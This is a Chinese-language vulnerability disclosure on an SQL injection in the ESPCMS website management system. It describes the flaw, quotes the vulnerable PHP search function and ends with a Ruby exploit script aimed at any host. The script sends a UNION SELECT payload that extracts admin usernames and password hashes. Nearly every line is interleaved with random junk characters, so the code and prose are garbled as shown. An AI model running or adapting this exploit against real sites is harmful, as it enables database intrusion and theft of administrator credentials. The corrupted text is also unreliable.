0×0 漏洞概述0×1 漏洞细节7 Y4 `* _5 Z1 n" W9 ^$ T2 W1 d
0×2 PoC
2 [( [% ` i5 x, u6 Z9 s: w, U1 Q
+ p A7 l6 V9 B9 n, c9 h8 @8 [: T& x" s# m+ }- U: r
5 a8 @+ l- R7 n6 O: \2 ~0×0 漏洞概述
6 v0 V- _" {9 U+ o& ^& O7 ? M; ]; o* ]- F! Y; B1 x9 X# ?0 h1 Z
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。. L0 b u9 ]. X$ Q4 q$ T
其在处理传入的参数时考虑不严谨导致SQL注入发生
" ^- n. N8 I1 |( y
+ A3 L3 P$ g2 K& n5 _, H4 O0 L3 G) L) t
0×1 漏洞细节
$ |2 `. R/ J: e8 w1 K! j& F
/ e" N4 a& j4 ?- ~6 l/ x# X2 i变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# ^. ?/ P1 D; W9 o# c$ A正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。6 Z0 X( B- a3 w- q; n1 S8 A; W$ g$ b
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。( E- D( [( p, ], I( Y; D3 X
. V5 K4 _6 _5 M4 z% r0 _1 |在/interface/3gwap_search.php文件的in_result函数中:+ R$ _. u Y; A5 R. R( f1 w8 b7 V
0 h+ U2 I0 z1 r) C7 k0 j; B( [, x: L- x
1 t% F4 ?/ n+ a8 Q0 Y
function in_result() {
8 u) P" ?* Y8 `/ T9 @/ I ... ... ... ... ... ... ... ... ...+ ?) e8 s7 C, a9 [
$urlcode = $_SERVER[ 'QUERY_STRING '];. S) \0 W8 h, ]& U) g# n, ^
parse_str(html_entity_decode($urlcode), $output);0 T F$ _: `5 K' M4 w( c6 }
2 i" A& X) {9 Q% w
... ... ... ... ... ... ... ... ...
* Q4 p2 S+ v# a4 \& z if (is_array($output['attr' ]) && count($output['attr']) > 0) {0 `% y; K1 l" V) T
/ I k( s' w) [" {! m: Z
$db_table = db_prefix . 'model_att';. E, K0 o5 v- p6 E* k9 t0 h
) ?2 Q8 \4 I4 G$ ? foreach ($output['attr' ] as $key => $value) {
2 v( p9 i+ d8 ^7 j" O6 r if ($value) {4 Q+ ~" a! i+ W
& P: d- k _! k
$key = addslashes($key);
! a) P6 @/ D) P) ], \ $key = $this-> fun->inputcodetrim($key);
9 Q) S7 [6 ~- o) O+ O$ d9 k$ Z $db_att_where = " WHERE isclass=1 AND attrname='$key'";; X/ p; Y! I: j. j' K5 n0 I/ ]- \& I
$countnum = $this->db_numrows($db_table, $db_att_where);( x8 V l0 I0 \
if ($countnum > 0) {
/ n( y2 E4 L. C7 U4 ]! j! h4 u4 o $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
6 m7 d4 K8 \# m" I# b }
5 Q8 t2 {3 Q% q3 x5 ?! C7 n0 Q& F } Q$ D1 F" V" x- c9 x1 p( m
}: j5 N9 h4 H1 X6 g& L- f- `
}
" A2 c! q g. p5 S Y2 l if (!empty ($keyword) && empty($keyname)) {
' b) d% ^3 u) M% }! o8 u $keyname = 'title';
/ |1 [6 c9 H- o1 V; { $db_where.= " AND a.title like '%$keyword%'" ;9 \/ E1 F0 {) s% X$ Y4 c9 Z4 O
} elseif (!empty ($keyword) && !empty($keyname)) {# X; q; F1 |5 [6 s7 H
$db_where.= " AND $keyname like '% $keyword%'";
$ [6 M+ b, T: F" W4 k" V# D }
, {# X3 A# j4 D6 B* F! n* U $pagemax = 15;# a {' Y- {! q0 C
' i: ~9 U) S3 D* i7 X9 m6 P $pagesylte = 1;
+ H3 q7 [ q! Y: u% U3 c+ }
5 h8 P/ ` a* M4 r$ Y if ($countnum > 0) {% c( e& |4 a- v- ]9 i, _5 q8 A: k
7 D7 I' {$ ?; k$ H
$numpage = ceil($countnum / $pagemax);
' A" ^+ Q/ J3 \7 B& P, c ` } else {- E" s6 i) X% r; r
$numpage = 1;
2 ^ f3 N e) f }
/ C0 w; V5 O+ I) a3 m $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;. l$ P$ Z/ x# O+ F E4 |: w6 W
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);0 U3 ?- G) B K4 B, P7 l) p% W$ S u
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);) C' w4 e% N! U1 U
... ... ... ... ... ... ... ... ...8 q, C$ a+ V% R: F) F
}. F* M4 C5 C. l
, `1 C( F$ j& j% @3 c( \
; f' ^" f: Z! v; o5 W0×2 PoC( \* Q6 ?8 Y& s
' C# M3 n/ e/ g- R/ f8 R, _/ J1 r/ C0 P: n8 m. e
3 J, A6 C/ k! r, c6 {require "net/http"
k& A8 C2 ^6 f, w( q* c8 d# V& n3 f# U! k) j$ s* q$ p
def request(method, url)
6 B; t5 J. ~* t if method.eql?("get")7 u# w0 ~8 K3 J {# Y3 F3 q
uri = URI.parse(url)
6 J( z% v& `! }# t- z( [) H http = Net::HTTP.new(uri.host, uri.port)
( z" V" E6 X. g; D. v/ p1 h7 Q response = http.request(Net::HTTP::Get.new(uri.request_uri))/ M: X L" u' X% o
return response% |) W5 u) L9 z) z! d# Z0 w6 \: K3 r
end/ A" Z B3 a) {- |
end' K) \% ~$ G: N: ]7 T; G
3 {# |# ~$ b3 c- Z) H4 B
doc =<<HERE5 M/ i+ |% l) ^, Q/ `
-------------------------------------------------------, `. y2 ~, _4 M ?* X
Espcms Injection Exploit
/ i" F! L' ^$ V/ u- `Author:ztz
9 o, I" M3 B* l' N5 M: lBlog:http://ztz.fuzzexp.org/
7 s7 T$ A2 @8 |0 y- D0 |-------------------------------------------------------8 r. Q9 |) y/ R( G( ~- R5 ]
, C" { ^7 d; W* l: `! r
HERE8 Z* F' Z: X( T* n9 h5 W* J! ~
- `5 k) L4 u2 s& Dusage =<<HERE0 C8 a; d* T; e6 J/ c" x1 B5 @
Usage: ruby #{$0} host port path! J; T3 V. o0 p+ z
example: ruby #{$0} www.target.com 80 /
. ]& @! Q U: p$ B0 {) L0 cHERE" u1 Q% N2 \' x7 ?7 M* J5 O' t& O
& P/ s4 ]; s5 s# X0 {puts doc9 k& K7 ]/ L: ]3 E. n7 V
if ARGV.length < 3( L2 q5 t( j" l& i/ a3 u; k0 z
puts usage, ~7 Q1 N4 _& f" J- o: R
else6 h4 Z% @+ \: h' X( m
$host = ARGV[0]* k1 m/ g8 k' s _8 }
$port = ARGV[1]
3 Q. W! a# ?& E# H $path = ARGV[2]1 W* h: r3 `! h3 V2 g
; X+ T) r; h! @5 j+ [+ q0 o puts "send request..."" ]% u0 Z/ N- M% n: m
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&2 f; t1 [) S/ D0 a+ o1 r0 r
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,139 _; T1 c; J7 C I& L( r
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27# { i( C: l, w$ V+ U0 r. n) T
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"# t' ]) S ~$ F
response = request("get", url), o" H# n0 A+ G% V% `; s! |, t; W" K
result = response.body.scan(/\w+&\w{32}/)
) t+ j" f1 R6 y( w: n- g: I puts result) i! d% C4 O: N8 S
end! m5 x1 X( t# w7 p* M' K7 R
& E3 ~4 J6 C) H! a) D4 T8 B
|